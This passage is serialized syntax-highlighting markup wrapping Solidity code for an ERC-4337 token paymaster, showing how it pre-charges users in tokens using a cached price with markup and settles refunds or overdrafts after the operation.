unchecked",{"type":23,"tag":504,"props":104897,"children":104898},{"style":5058},[104899],{"type":29,"value":5333},{"type":23,"tag":504,"props":104901,"children":104902},{"class":5016,"line":5367},[104903,104908,104913,104917],{"type":23,"tag":504,"props":104904,"children":104905},{"style":5467},[104906],{"type":29,"value":104907},"            uint256",{"type":23,"tag":504,"props":104909,"children":104910},{"style":5058},[104911],{"type":29,"value":104912}," priceMarkup ",{"type":23,"tag":504,"props":104914,"children":104915},{"style":5047},[104916],{"type":29,"value":546},{"type":23,"tag":504,"props":104918,"children":104919},{"style":5058},[104920],{"type":29,"value":104921}," tokenPaymasterConfig.priceMarkup;\n",{"type":23,"tag":504,"props":104923,"children":104924},{"class":5016,"line":5388},[104925,104929,104934,104938],{"type":23,"tag":504,"props":104926,"children":104927},{"style":5467},[104928],{"type":29,"value":104907},{"type":23,"tag":504,"props":104930,"children":104931},{"style":5058},[104932],{"type":29,"value":104933}," baseFee ",{"type":23,"tag":504,"props":104935,"children":104936},{"style":5047},[104937],{"type":29,"value":546},{"type":23,"tag":504,"props":104939,"children":104940},{"style":5058},[104941],{"type":29,"value":104942}," tokenPaymasterConfig.baseFee;\n",{"type":23,"tag":504,"props":104944,"children":104945},{"class":5016,"line":5397},[104946,104950,104955,104959,104964,104968],{"type":23,"tag":504,"props":104947,"children":104948},{"style":5467},[104949],{"type":29,"value":104907},{"type":23,"tag":504,"props":104951,"children":104952},{"style":5058},[104953],{"type":29,"value":104954}," dataLength ",{"type":23,"tag":504,"props":104956,"children":104957},{"style":5047},[104958],{"type":29,"value":546},{"type":23,"tag":504,"props":104960,"children":104961},{"style":5058},[104962],{"type":29,"value":104963}," userOp.paymasterAndData.length ",{"type":23,"tag":504,"props":104965,"children":104966},{"style":5047},[104967],{"type":29,"value":6368},{"type":23,"tag":504,"props":104969,"children":104970},{"style":5058},[104971],{"type":29,"value":104972}," PAYMASTER_DATA_OFFSET;\n",{"type":23,"tag":504,"props":104974,"children":104975},{"class":5016,"line":5649},[104976,104981,104986,104990,104994,104998,105002,105006,105011,105015,105020],{"type":23,"tag":504,"props":104977,"children":104978},{"style":5067},[104979],{"type":29,"value":104980},"            require",{"type":23,"tag":504,"props":104982,"children":104983},{"style":5058},[104984],{"type":29,"value":104985},"(dataLength ",{"type":23,"tag":504,"props":104987,"children":104988},{"style":5047},[104989],{"type":29,"value":1224},{"type":23,"tag":504,"props":104991,"children":104992},{"style":5083},[104993],{"type":29,"value":5086},{"type":23,"tag":504,"props":104995,"children":104996},{"style":5047},[104997],{"type":29,"value":25749},{"type":23,"tag":504,"props":104999,"children":105000},{"style":5058},[105001],{"type":29,"value":104954},{"type":23,"tag":504,"props":105003,"children":105004},{"style":5047},[105005],{"type":29,"value":1224},{"type":23,"tag":504,"props":105007,"children":105008},{"style":5083},[105009],{"type":29,"value":105010}," 32",{"type":23,"tag":504,"props":105012,"children":105013},{"style":5058},[105014],{"type":29,"value":4367},{"type":23,"tag":504,"props":105016,"children":105017},{"style":6297},[105018],{"type":29,"value":105019},"\"TPM: invalid data length\"",{"type":23,"tag":504,"props":105021,"children":105022},{"style":5058},[105023],{"type":29,"value":5888},{"type":23,"tag":504,"props":105025,"children":105026},{"class":5016,"line":5666},[105027,105031,105036,105040,105045,105050],{"type":23,"tag":504,"props":105028,"children":105029},{"style":5467},[105030],{"type":29,"value":104907},{"type":23,"tag":504,"props":105032,"children":105033},{"style":5058},[105034],{"type":29,"value":105035}," maxFeePerGas ",{"type":23,"tag":504,"props":105037,"children":105038},{"style":5047},[105039],{"type":29,"value":546},{"type":23,"tag":504,"props":105041,"children":105042},{"style":5058},[105043],{"type":29,"value":105044}," userOp.",{"type":23,"tag":504,"props":105046,"children":105047},{"style":5139},[105048],{"type":29,"value":105049},"unpackMaxFeePerGas",{"type":23,"tag":504,"props":105051,"children":105052},{"style":5058},[105053],{"type":29,"value":5725},{"type":23,"tag":504,"props":105055,"children":105056},{"class":5016,"line":5683},[105057,105061,105066,105070],{"type":23,"tag":504,"props":105058,"children":105059},{"style":5467},[105060],{"type":29,"value":104907},{"type":23,"tag":504,"props":105062,"children":105063},{"style":5058},[105064],{"type":29,"value":105065}," refundPostopCost ",{"type":23,"tag":504,"props":105067,"children":105068},{"style":5047},[105069],{"type":29,"value":546},{"type":23,"tag":504,"props":105071,"children":105072},{"style":5058},[105073],{"type":29,"value":105074}," tokenPaymasterConfig.refundPostopCost;\n",{"type":23,"tag":504,"props":105076,"children":105077},{"class":5016,"line":5696},[105078,105082,105087,105091,105095,105100,105104,105109],{"type":23,"tag":504,"props":105079,"children":105080},{"style":5067},[105081],{"type":29,"value":104980},{"type":23,"tag":504,"props":105083,"children":105084},{"style":5058},[105085],{"type":29,"value":105086},"(refundPostopCost ",{"type":23,"tag":504,"props":105088,"children":105089},{"style":5047},[105090],{"type":29,"value":2658},{"type":23,"tag":504,"props":105092,"children":105093},{"style":5058},[105094],{"type":29,"value":105044},{"type":23,"tag":504,"props":105096,"children":105097},{"style":5139},[105098],{"type":29,"value":105099},"unpackPostOpGasLimit",{"type":23,"tag":504,"props":105101,"children":105102},{"style":5058},[105103],{"type":29,"value":20425},{"type":23,"tag":504,"props":105105,"children":105106},{"style":6297},[105107],{"type":29,"value":105108},"\"TPM: postOpGasLimit too low\"",{"type":23,"tag":504,"props":105110,"children":105111},{"style":5058},[105112],{"type":29,"value":5888},{"type":23,"tag":504,"props":105114,"children":105115},{"class":5016,"line":5705},[105116,105120,105125,105129,105134,105138,105143,105147],{"type":23,"tag":504,"props":105117,"children":105118},{"style":5467},[105119],{"type":29,"value":104907},{"type":23,"tag":504,"props":105121,"children":105122},{"style":5058},[105123],{"type":29,"value":105124}," preChargeNative ",{"type":23,"tag":504,"props":105126,"children":105127},{"style":5047},[105128],{"type":29,"value":546},{"type":23,"tag":504,"props":105130,"children":105131},{"style":5058},[105132],{"type":29,"value":105133}," requiredPreFund ",{"type":23,"tag":504,"props":105135,"children":105136},{"style":5047},[105137],{"type":29,"value":6422},{"type":23,"tag":504,"props":105139,"children":105140},{"style":5058},[105141],{"type":29,"value":105142}," (refundPostopCost ",{"type":23,"tag":504,"props":105144,"children":105145},{"style":5047},[105146],{"type":29,"value":6613},{"type":23,"tag":504,"props":105148,"children":105149},{"style":5058},[105150],{"type":29,"value":105151}," maxFeePerGas);\n",{"type":23,"tag":504,"props":105153,"children":105154},{"class":5016,"line":5728},[105155,105160,105164],{"type":23,"tag":504,"props":105156,"children":105157},{"style":5021},[105158],{"type":29,"value":105159},"            // ",{"type":23,"tag":504,"props":105161,"children":105162},{"style":5030},[105163],{"type":29,"value":68822},{"type":23,"tag":504,"props":105165,"children":105166},{"style":5021},[105167],{"type":29,"value":105168},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":23,"tag":504,"props":105170,"children":105171},{"class":5016,"line":5737},[105172,105176,105181,105185,105190,105194,105199,105203],{"type":23,"tag":504,"props":105173,"children":105174},{"style":5467},[105175],{"type":29,"value":104907},{"type":23,"tag":504,"props":105177,"children":105178},{"style":5058},[105179],{"type":29,"value":105180}," cachedPriceWithMarkup ",{"type":23,"tag":504,"props":105182,"children":105183},{"style":5047},[105184],{"type":29,"value":546},{"type":23,"tag":504,"props":105186,"children":105187},{"style":5058},[105188],{"type":29,"value":105189}," cachedPrice ",{"type":23,"tag":504,"props":105191,"children":105192},{"style":5047},[105193],{"type":29,"value":6613},{"type":23,"tag":504,"props":105195,"children":105196},{"style":5058},[105197],{"type":29,"value":105198}," DENOM ",{"type":23,"tag":504,"props":105200,"children":105201},{"style":5047},[105202],{"type":29,"value":6623},{"type":23,"tag":504,"props":105204,"children":105205},{"style":5058},[105206],{"type":29,"value":105207}," priceMarkup;\n",{"type":23,"tag":504,"props":105209,"children":105210},{"class":5016,"line":5746},[105211,105215,105220,105224,105228],{"type":23,"tag":504,"props":105212,"children":105213},{"style":5067},[105214],{"type":29,"value":60862},{"type":23,"tag":504,"props":105216,"children":105217},{"style":5058},[105218],{"type":29,"value":105219}," (dataLength ",{"type":23,"tag":504,"props":105221,"children":105222},{"style":5047},[105223],{"type":29,"value":1224},{"type":23,"tag":504,"props":105225,"children":105226},{"style":5083},[105227],{"type":29,"value":105010},{"type":23,"tag":504,"props":105229,"children":105230},{"style":5058},[105231],{"type":29,"value":16850},{"type":23,"tag":504,"props":105233,"children":105234},{"class":5016,"line":5813},[105235,105240,105245],{"type":23,"tag":504,"props":105236,"children":105237},{"style":5467},[105238],{"type":29,"value":105239},"                uint256",{"type":23,"tag":504,"props":105241,"children":105242},{"style":5058},[105243],{"type":29,"value":105244}," clientSuppliedPrice ",{"type":23,"tag":504,"props":105246,"children":105247},{"style":5047},[105248],{"type":29,"value":16739},{"type":23,"tag":504,"props":105250,"children":105251},{"class":5016,"line":5821},[105252,105257,105261,105265,105270,105274,105279,105283,105287],{"type":23,"tag":504,"props":105253,"children":105254},{"style":5467},[105255],{"type":29,"value":105256},"                    uint256",{"type":23,"tag":504,"props":105258,"children":105259},{"style":5058},[105260],{"type":29,"value":603},{"type":23,"tag":504,"props":105262,"children":105263},{"style":5467},[105264],{"type":29,"value":104805},{"type":23,"tag":504,"props":105266,"children":105267},{"style":5058},[105268],{"type":29,"value":105269},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":23,"tag":504,"props":105271,"children":105272},{"style":5047},[105273],{"type":29,"value":6533},{"type":23,"tag":504,"props":105275,"children":105276},{"style":5058},[105277],{"type":29,"value":105278},"PAYMASTER_DATA_OFFSET ",{"type":23,"tag":504,"props":105280,"children":105281},{"style":5047},[105282],{"type":29,"value":6422},{"type":23,"tag":504,"props":105284,"children":105285},{"style":5083},[105286],{"type":29,"value":105010},{"type":23,"tag":504,"props":105288,"children":105289},{"style":5058},[105290],{"type":29,"value":105291},"]));\n",{"type":23,"tag":504,"props":105293,"children":105294},{"class":5016,"line":5851},[105295,105300,105305,105309],{"type":23,"tag":504,"props":105296,"children":105297},{"style":5067},[105298],{"type":29,"value":105299},"                if",{"type":23,"tag":504,"props":105301,"children":105302},{"style":5058},[105303],{"type":29,"value":105304}," (clientSuppliedPrice ",{"type":23,"tag":504,"props":105306,"children":105307},{"style":5047},[105308],{"type":29,"value":2658},{"type":23,"tag":504,"props":105310,"children":105311},{"style":5058},[105312],{"type":29,"value":105313}," cachedPriceWithMarkup) {\n",{"type":23,"tag":504,"props":105315,"children":105316},{"class":5016,"line":5859},[105317,105322,105326],{"type":23,"tag":504,"props":105318,"children":105319},{"style":5021},[105320],{"type":29,"value":105321},"                    // ",{"type":23,"tag":504,"props":105323,"children":105324},{"style":5030},[105325],{"type":29,"value":68822},{"type":23,"tag":504,"props":105327,"children":105328},{"style":5021},[105329],{"type":29,"value":105330},": smaller number means 'more native asset per token'\n",{"type":23,"tag":504,"props":105332,"children":105333},{"class":5016,"line":5891},[105334,105339,105343],{"type":23,"tag":504,"props":105335,"children":105336},{"style":5058},[105337],{"type":29,"value":105338},"                    cachedPriceWithMarkup ",{"type":23,"tag":504,"props":105340,"children":105341},{"style":5047},[105342],{"type":29,"value":546},{"type":23,"tag":504,"props":105344,"children":105345},{"style":5058},[105346],{"type":29,"value":105347}," clientSuppliedPrice;\n",{"type":23,"tag":504,"props":105349,"children":105350},{"class":5016,"line":5899},[105351],{"type":23,"tag":504,"props":105352,"children":105353},{"style":5058},[105354],{"type":29,"value":73134},{"type":23,"tag":504,"props":105356,"children":105357},{"class":5016,"line":5959},[105358],{"type":23,"tag":504,"props":105359,"children":105360},{"style":5058},[105361],{"type":29,"value":60946},{"type":23,"tag":504,"props":105363,"children":105364},{"class":5016,"line":11093},[105365,105369,105374,105378,105383],{"type":23,"tag":504,"props":105366,"children":105367},{"style":5467},[105368],{"type":29,"value":104907},{"type":23,"tag":504,"props":105370,"children":105371},{"style":5058},[105372],{"type":29,"value":105373}," tokenAmount ",{"type":23,"tag":504,"props":105375,"children":105376},{"style":5047},[105377],{"type":29,"value":546},{"type":23,"tag":504,"props":105379,"children":105380},{"style":5139},[105381],{"type":29,"value":105382}," weiToToken",{"type":23,"tag":504,"props":105384,"children":105385},{"style":5058},[105386],{"type":29,"value":105387},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":504,"props":105389,"children":105390},{"class":5016,"line":11111},[105391,105396,105400],{"type":23,"tag":504,"props":105392,"children":105393},{"style":5058},[105394],{"type":29,"value":105395},"            tokenAmount ",{"type":23,"tag":504,"props":105397,"children":105398},{"style":5047},[105399],{"type":29,"value":70501},{"type":23,"tag":504,"props":105401,"children":105402},{"style":5058},[105403],{"type":29,"value":105404}," baseFee;\n",{"type":23,"tag":504,"props":105406,"children":105407},{"class":5016,"line":11156},[105408,105413,105418,105423,105427,105431,105435],{"type":23,"tag":504,"props":105409,"children":105410},{"style":5058},[105411],{"type":29,"value":105412},"            SafeERC20.",{"type":23,"tag":504,"props":105414,"children":105415},{"style":5139},[105416],{"type":29,"value":105417},"safeTransferFrom",{"type":23,"tag":504,"props":105419,"children":105420},{"style":5058},[105421],{"type":29,"value":105422},"(token, userOp.sender, ",{"type":23,"tag":504,"props":105424,"children":105425},{"style":5467},[105426],{"type":29,"value":34696},{"type":23,"tag":504,"props":105428,"children":105429},{"style":5058},[105430],{"type":29,"value":603},{"type":23,"tag":504,"props":105432,"children":105433},{"style":5030},[105434],{"type":29,"value":19742},{"type":23,"tag":504,"props":105436,"children":105437},{"style":5058},[105438],{"type":29,"value":105439},"), tokenAmount);\n",{"type":23,"tag":504,"props":105441,"children":105442},{"class":5016,"line":11262},[105443,105448,105452,105457,105461,105466],{"type":23,"tag":504,"props":105444,"children":105445},{"style":5058},[105446],{"type":29,"value":105447},"            context ",{"type":23,"tag":504,"props":105449,"children":105450},{"style":5047},[105451],{"type":29,"value":546},{"type":23,"tag":504,"props":105453,"children":105454},{"style":5030},[105455],{"type":29,"value":105456}," abi",{"type":23,"tag":504,"props":105458,"children":105459},{"style":5058},[105460],{"type":29,"value":357},{"type":23,"tag":504,"props":105462,"children":105463},{"style":5139},[105464],{"type":29,"value":105465},"encode",{"type":23,"tag":504,"props":105467,"children":105468},{"style":5058},[105469],{"type":29,"value":105470},"(tokenAmount, userOp.sender);\n",{"type":23,"tag":504,"props":105472,"children":105473},{"class":5016,"line":25550},[105474,105479],{"type":23,"tag":504,"props":105475,"children":105476},{"style":5058},[105477],{"type":29,"value":105478},"            validationResult ",{"type":23,"tag":504,"props":105480,"children":105481},{"style":5047},[105482],{"type":29,"value":16739},{"type":23,"tag":504,"props":105484,"children":105485},{"class":5016,"line":25585},[105486,105491,105495,105499,105503,105508,105513,105517,105522,105526],{"type":23,"tag":504,"props":105487,"children":105488},{"style":5139},[105489],{"type":29,"value":105490},"                _packValidationData",{"type":23,"tag":504,"props":105492,"children":105493},{"style":5058},[105494],{"type":29,"value":603},{"type":23,"tag":504,"props":105496,"children":105497},{"style":5030},[105498],{"type":29,"value":10220},{"type":23,"tag":504,"props":105500,"children":105501},{"style":5058},[105502],{"type":29,"value":4367},{"type":23,"tag":504,"props":105504,"children":105505},{"style":5467},[105506],{"type":29,"value":105507},"uint48",{"type":23,"tag":504,"props":105509,"children":105510},{"style":5058},[105511],{"type":29,"value":105512},"(cachedPriceTimestamp ",{"type":23,"tag":504,"props":105514,"children":105515},{"style":5047},[105516],{"type":29,"value":6422},{"type":23,"tag":504,"props":105518,"children":105519},{"style":5058},[105520],{"type":29,"value":105521}," tokenPaymasterConfig.priceMaxAge), ",{"type":23,"tag":504,"props":105523,"children":105524},{"style":5083},[105525],{"type":29,"value":708},{"type":23,"tag":504,"props":105527,"children":105528},{"style":5058},[105529],{"type":29,"value":5888},{"type":23,"tag":504,"props":105531,"children":105532},{"class":5016,"line":25593},[105533],{"type":23,"tag":504,"props":105534,"children":105535},{"style":5058},[105536],{"type":29,"value":5394},{"type":23,"tag":504,"props":105538,"children":105539},{"class":5016,"line":25601},[105540],{"type":23,"tag":504,"props":105541,"children":105542},{"style":5058},[105543],{"type":29,"value":5403},{"type":23,"tag":504,"props":105545,"children":105546},{"class":5016,"line":25610},[105547],{"type":23,"tag":504,"props":105548,"children":105549},{"style":5058},[105550],{"type":29,"value":12364},{"type":23,"tag":504,"props":105552,"children":105553},{"class":5016,"line":25652},[105554,105558,105563,105567,105572,105576,105580,105584,105588,105592,105596,105601,105605,105609,105614],{"type":23,"tag":504,"props":105555,"children":105556},{"style":5030},[105557],{"type":29,"value":91893},{"type":23,"tag":504,"props":105559,"children":105560},{"style":5139},[105561],{"type":29,"value":105562}," _postOp",{"type":23,"tag":504,"props":105564,"children":105565},{"style":5058},[105566],{"type":29,"value":603},{"type":23,"tag":504,"props":105568,"children":105569},{"style":5030},[105570],{"type":29,"value":105571},"PostOpMode",{"type":23,"tag":504,"props":105573,"children":105574},{"style":5058},[105575],{"type":29,"value":4367},{"type":23,"tag":504,"props":105577,"children":105578},{"style":5467},[105579],{"type":29,"value":85892},{"type":23,"tag":504,"props":105581,"children":105582},{"style":5030},[105583],{"type":29,"value":104791},{"type":23,"tag":504,"props":105585,"children":105586},{"style":5041},[105587],{"type":29,"value":78405},{"type":23,"tag":504,"props":105589,"children":105590},{"style":5058},[105591],{"type":29,"value":4367},{"type":23,"tag":504,"props":105593,"children":105594},{"style":5467},[105595],{"type":29,"value":48230},{"type":23,"tag":504,"props":105597,"children":105598},{"style":5041},[105599],{"type":29,"value":105600}," actualGasCost",{"type":23,"tag":504,"props":105602,"children":105603},{"style":5058},[105604],{"type":29,"value":4367},{"type":23,"tag":504,"props":105606,"children":105607},{"style":5467},[105608],{"type":29,"value":48230},{"type":23,"tag":504,"props":105610,"children":105611},{"style":5041},[105612],{"type":29,"value":105613}," actualUserOpFeePerGas",{"type":23,"tag":504,"props":105615,"children":105616},{"style":5058},[105617],{"type":29,"value":5200},{"type":23,"tag":504,"props":105619,"children":105620},{"class":5016,"line":25685},[105621],{"type":23,"tag":504,"props":105622,"children":105623},{"style":5030},[105624],{"type":29,"value":104830},{"type":23,"tag":504,"props":105626,"children":105627},{"class":5016,"line":25693},[105628],{"type":23,"tag":504,"props":105629,"children":105630},{"style":5030},[105631],{"type":29,"value":104838},{"type":23,"tag":504,"props":105633,"children":105634},{"class":5016,"line":25701},[105635],{"type":23,"tag":504,"props":105636,"children":105637},{"style":5058},[105638],{"type":29,"value":31241},{"type":23,"tag":504,"props":105640,"children":105641},{"class":5016,"line":25710},[105642,105646],{"type":23,"tag":504,"props":105643,"children":105644},{"style":5067},[105645],{"type":29,"value":104895},{"type":23,"tag":504,"props":105647,"children":105648},{"style":5058},[105649],{"type":29,"value":5333},{"type":23,"tag":504,"props":105651,"children":105652},{"class":5016,"line":25786},[105653,105657,105661,105665],{"type":23,"tag":504,"props":105654,"children":105655},{"style":5467},[105656],{"type":29,"value":104907},{"type":23,"tag":504,"props":105658,"children":105659},{"style":5058},[105660],{"type":29,"value":104912},{"type":23,"tag":504,"props":105662,"children":105663},{"style":5047},[105664],{"type":29,"value":546},{"type":23,"tag":504,"props":105666,"children":105667},{"style":5058},[105668],{"type":29,"value":104921},{"type":23,"tag":504,"props":105670,"children":105671},{"class":5016,"line":25819},[105672,105676,105680,105684],{"type":23,"tag":504,"props":105673,"children":105674},{"style":5467},[105675],{"type":29,"value":104907},{"type":23,"tag":504,"props":105677,"children":105678},{"style":5058},[105679],{"type":29,"value":104933},{"type":23,"tag":504,"props":105681,"children":105682},{"style":5047},[105683],{"type":29,"value":546},{"type":23,"tag":504,"props":105685,"children":105686},{"style":5058},[105687],{"type":29,"value":104942},{"type":23,"tag":504,"props":105689,"children":105690},{"class":5016,"line":25827},[105691,105696,105700,105705,105709,105714,105718,105722,105726,105731,105736,105740,105744,105748],{"type":23,"tag":504,"props":105692,"children":105693},{"style":5058},[105694],{"type":29,"value":105695},"            (",{"type":23,"tag":504,"props":105697,"children":105698},{"style":5467},[105699],{"type":29,"value":48230},{"type":23,"tag":504,"props":105701,"children":105702},{"style":5058},[105703],{"type":29,"value":105704}," preCharge, ",{"type":23,"tag":504,"props":105706,"children":105707},{"style":5467},[105708],{"type":29,"value":34696},{"type":23,"tag":504,"props":105710,"children":105711},{"style":5058},[105712],{"type":29,"value":105713}," userOpSender) ",{"type":23,"tag":504,"props":105715,"children":105716},{"style":5047},[105717],{"type":29,"value":546},{"type":23,"tag":504,"props":105719,"children":105720},{"style":5030},[105721],{"type":29,"value":105456},{"type":23,"tag":504,"props":105723,"children":105724},{"style":5058},[105725],{"type":29,"value":357},{"type":23,"tag":504,"props":105727,"children":105728},{"style":5139},[105729],{"type":29,"value":105730},"decode",{"type":23,"tag":504,"props":105732,"children":105733},{"style":5058},[105734],{"type":29,"value":105735},"(context, (",{"type":23,"tag":504,"props":105737,"children":105738},{"style":5467},[105739],{"type":29,"value":48230},{"type":23,"tag":504,"props":105741,"children":105742},{"style":5058},[105743],{"type":29,"value":4367},{"type":23,"tag":504,"props":105745,"children":105746},{"style":5467},[105747],{"type":29,"value":34696},{"type":23,"tag":504,"props":105749,"children":105750},{"style":5058},[105751],{"type":29,"value":9267},{"type":23,"tag":504,"props":105753,"children":105754},{"class":5016,"line":25835},[105755,105760,105765,105770],{"type":23,"tag":504,"props":105756,"children":105757},{"style":5058},[105758],{"type":29,"value":105759},"            preCharge ",{"type":23,"tag":504,"props":105761,"children":105762},{"style":5047},[105763],{"type":29,"value":105764},"-=",{"type":23,"tag":504,"props":105766,"children":105767},{"style":5058},[105768],{"type":29,"value":105769}," baseFee; ",{"type":23,"tag":504,"props":105771,"children":105772},{"style":5021},[105773],{"type":29,"value":105774},"// don't refund the base fee\n",{"type":23,"tag":504,"props":105776,"children":105777},{"class":5016,"line":25872},[105778,105782,105787,105791,105796,105800,105804],{"type":23,"tag":504,"props":105779,"children":105780},{"style":5467},[105781],{"type":29,"value":104907},{"type":23,"tag":504,"props":105783,"children":105784},{"style":5058},[105785],{"type":29,"value":105786}," _cachedPrice ",{"type":23,"tag":504,"props":105788,"children":105789},{"style":5047},[105790],{"type":29,"value":546},{"type":23,"tag":504,"props":105792,"children":105793},{"style":5139},[105794],{"type":29,"value":105795}," updateCachedPrice",{"type":23,"tag":504,"props":105797,"children":105798},{"style":5058},[105799],{"type":29,"value":603},{"type":23,"tag":504,"props":105801,"children":105802},{"style":5030},[105803],{"type":29,"value":10220},{"type":23,"tag":504,"props":105805,"children":105806},{"style":5058},[105807],{"type":29,"value":5888},{"type":23,"tag":504,"props":105809,"children":105810},{"class":5016,"line":25885},[105811,105815,105819],{"type":23,"tag":504,"props":105812,"children":105813},{"style":5021},[105814],{"type":29,"value":105159},{"type":23,"tag":504,"props":105816,"children":105817},{"style":5030},[105818],{"type":29,"value":68822},{"type":23,"tag":504,"props":105820,"children":105821},{"style":5021},[105822],{"type":29,"value":105168},{"type":23,"tag":504,"props":105824,"children":105825},{"class":5016,"line":25898},[105826,105830,105834,105838,105842,105846,105850,105854],{"type":23,"tag":504,"props":105827,"children":105828},{"style":5467},[105829],{"type":29,"value":104907},{"type":23,"tag":504,"props":105831,"children":105832},{"style":5058},[105833],{"type":29,"value":105180},{"type":23,"tag":504,"props":105835,"children":105836},{"style":5047},[105837],{"type":29,"value":546},{"type":23,"tag":504,"props":105839,"children":105840},{"style":5058},[105841],{"type":29,"value":105786},{"type":23,"tag":504,"props":105843,"children":105844},{"style":5047},[105845],{"type":29,"value":6613},{"type":23,"tag":504,"props":105847,"children":105848},{"style":5058},[105849],{"type":29,"value":105198},{"type":23,"tag":504,"props":105851,"children":105852},{"style":5047},[105853],{"type":29,"value":6623},{"type":23,"tag":504,"props":105855,"children":105856},{"style":5058},[105857],{"type":29,"value":105207},{"type":23,"tag":504,"props":105859,"children":105860},{"class":5016,"line":25911},[105861],{"type":23,"tag":504,"props":105862,"children":105863},{"style":5021},[105864],{"type":29,"value":105865},"            // Refund tokens based on actual gas cost\n",{"type":23,"tag":504,"props":105867,"children":105868},{"class":5016,"line":25965},[105869,105873,105878,105882,105887,105891,105896,105900],{"type":23,"tag":504,"props":105870,"children":105871},{"style":5467},[105872],{"type":29,"value":104907},{"type":23,"tag":504,"props":105874,"children":105875},{"style":5058},[105876],{"type":29,"value":105877}," actualChargeNative ",{"type":23,"tag":504,"props":105879,"children":105880},{"style":5047},[105881],{"type":29,"value":546},{"type":23,"tag":504,"props":105883,"children":105884},{"style":5058},[105885],{"type":29,"value":105886}," actualGasCost ",{"type":23,"tag":504,"props":105888,"children":105889},{"style":5047},[105890],{"type":29,"value":6422},{"type":23,"tag":504,"props":105892,"children":105893},{"style":5058},[105894],{"type":29,"value":105895}," tokenPaymasterConfig.refundPostopCost ",{"type":23,"tag":504,"props":105897,"children":105898},{"style":5047},[105899],{"type":29,"value":6613},{"type":23,"tag":504,"props":105901,"children":105902},{"style":5058},[105903],{"type":29,"value":105904}," actualUserOpFeePerGas;\n",{"type":23,"tag":504,"props":105906,"children":105907},{"class":5016,"line":25974},[105908,105912,105917,105921,105925],{"type":23,"tag":504,"props":105909,"children":105910},{"style":5467},[105911],{"type":29,"value":104907},{"type":23,"tag":504,"props":105913,"children":105914},{"style":5058},[105915],{"type":29,"value":105916}," actualTokenNeeded ",{"type":23,"tag":504,"props":105918,"children":105919},{"style":5047},[105920],{"type":29,"value":546},{"type":23,"tag":504,"props":105922,"children":105923},{"style":5139},[105924],{"type":29,"value":105382},{"type":23,"tag":504,"props":105926,"children":105927},{"style":5058},[105928],{"type":29,"value":105929},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":504,"props":105931,"children":105932},{"class":5016,"line":34336},[105933,105937,105942,105946],{"type":23,"tag":504,"props":105934,"children":105935},{"style":5067},[105936],{"type":29,"value":60862},{"type":23,"tag":504,"props":105938,"children":105939},{"style":5058},[105940],{"type":29,"value":105941}," (preCharge ",{"type":23,"tag":504,"props":105943,"children":105944},{"style":5047},[105945],{"type":29,"value":12508},{"type":23,"tag":504,"props":105947,"children":105948},{"style":5058},[105949],{"type":29,"value":105950}," actualTokenNeeded) {\n",{"type":23,"tag":504,"props":105952,"children":105953},{"class":5016,"line":34357},[105954],{"type":23,"tag":504,"props":105955,"children":105956},{"style":5021},[105957],{"type":29,"value":105958},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":23,"tag":504,"props":105960,"children":105961},{"class":5016,"line":83015},[105962,105967,105972,105977,105981],{"type":23,"tag":504,"props":105963,"children":105964},{"style":5058},[105965],{"type":29,"value":105966},"                SafeERC20.",{"type":23,"tag":504,"props":105968,"children":105969},{"style":5139},[105970],{"type":29,"value":105971},"safeTransfer",{"type":23,"tag":504,"props":105973,"children":105974},{"style":5058},[105975],{"type":29,"value":105976},"(token, userOpSender, preCharge ",{"type":23,"tag":504,"props":105978,"children":105979},{"style":5047},[105980],{"type":29,"value":6368},{"type":23,"tag":504,"props":105982,"children":105983},{"style":5058},[105984],{"type":29,"value":105985}," actualTokenNeeded);\n",{"type":23,"tag":504,"props":105987,"children":105988},{"class":5016,"line":83028},[105989,105993,105997,106001,106005,106009],{"type":23,"tag":504,"props":105990,"children":105991},{"style":5058},[105992],{"type":29,"value":72657},{"type":23,"tag":504,"props":105994,"children":105995},{"style":5067},[105996],{"type":29,"value":5360},{"type":23,"tag":504,"props":105998,"children":105999},{"style":5067},[106000],{"type":29,"value":17835},{"type":23,"tag":504,"props":106002,"children":106003},{"style":5058},[106004],{"type":29,"value":105941},{"type":23,"tag":504,"props":106006,"children":106007},{"style":5047},[106008],{"type":29,"value":2658},{"type":23,"tag":504,"props":106010,"children":106011},{"style":5058},[106012],{"type":29,"value":105950},{"type":23,"tag":504,"props":106014,"children":106015},{"class":5016,"line":83036},[106016],{"type":23,"tag":504,"props":106017,"children":106018},{"style":5021},[106019],{"type":29,"value":106020},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":23,"tag":504,"props":106022,"children":106023},{"class":5016,"line":83044},[106024],{"type":23,"tag":504,"props":106025,"children":106026},{"style":5021},[106027],{"type":29,"value":106028},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":23,"tag":504,"props":106030,"children":106031},{"class":5016,"line":83052},[106032,106036,106040,106045,106049,106053,106057,106062,106066],{"type":23,"tag":504,"props":106033,"children":106034},{"style":5058},[106035],{"type":29,"value":105966},{"type":23,"tag":504,"props":106037,"children":106038},{"style":5139},[106039],{"type":29,"value":105417},{"type":23,"tag":504,"props":106041,"children":106042},{"style":5058},[106043],{"type":29,"value":106044},"(token, userOpSender, ",{"type":23,"tag":504,"props":106046,"children":106047},{"style":5467},[106048],{"type":29,"value":34696},{"type":23,"tag":504,"props":106050,"children":106051},{"style":5058},[106052],{"type":29,"value":603},{"type":23,"tag":504,"props":106054,"children":106055},{"style":5030},[106056],{"type":29,"value":19742},{"type":23,"tag":504,"props":106058,"children":106059},{"style":5058},[106060],{"type":29,"value":106061},"), actualTokenNeeded ",{"type":23,"tag":504,"props":106063,"children":106064},{"style":5047},[106065],{"type":29,"value":6368},{"type":23,"tag":504,"props":106067,"children":106068},{"style":5058},[106069],{"type":29,"value":106070}," 